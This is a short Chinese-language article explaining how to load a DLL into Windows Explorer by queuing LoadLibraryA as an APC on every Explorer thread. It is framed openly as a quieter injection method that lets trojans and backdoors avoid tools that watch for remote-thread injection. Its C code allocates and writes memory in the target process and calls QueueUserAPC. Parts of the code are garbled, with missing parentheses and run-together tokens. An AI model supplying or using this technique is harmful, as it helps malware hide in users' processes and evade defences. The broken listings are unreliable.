注入Explorer的方法

注入Explorer的方法

暴力”注入Explorer
pjf(jfpan20000@sina.com)
向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,
如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也
举不胜举,一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上
“我是贼”一样。
用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行
为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为在Explorer里加
载自己的dll。
首先提到的就是一个API:QueueUserAPC

DWORDQueueUserAPC(
PAPCFUNCpfnAPC,//APCfunction
HANDLEhThread,//handletothread
ULONG_PTRdwData//APCfunctionparameter
;

大家对这个API应该并不陌生,它直接转入了系统服务NtQueueApcThread从而利
用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。倘若KiDeliverApc
顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事,
ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了
你的代码还是没得到执行。在核心态往往不成问题,自己动手赋值,可是用户态
程序可不好做,怎么办?其实最简单的,不好做就不做啰,让系统去干。
实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为
TRUE(当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject
使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的
),最简单的例子,目标线程调用SleepEx(***,TRUE)后我们插入APC代码就会乖乖执
行了。
比较幸运的是Explorer进程中一般情况下总有合我们意的线程,于是最简单但并不
优美的办法就是枚举Explorer中所有线程,全数插入,示意如下:

......
DWORDret;
char*DllName="c://MyDll.dll";
intlen=strlen(DllName)+1;
PVOIDparam=VirtualAllocEx(hProcess,NULL,len,
MEM_COMMIT|MEM_TOP_DOWN,
PAGE_READWRITE);
if(param!=NULL)
{
if(WriteProcessMemory(hProcess,param,
(LPVOID)DllName,len,&ret))
{
for(DWORDp=0;p<NumberOfThreads;p++)
{
hThread=OpenThread(THREAD_ALL_ACCESS,0,ThreadId[p]);
if(hThread!=0)
{
InjectDll(hProcess,hThread,(DWORD)param);
CloseHandle(hThread);
}
}
}
......

其中InjectDll:
voidInjectDll(HANDLEhProcess,HANDLEhThread,DWORDparam)
{
QueueUserAPC(
(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll","LoadLibraryA",
hThread,
(DWORD)param
;
}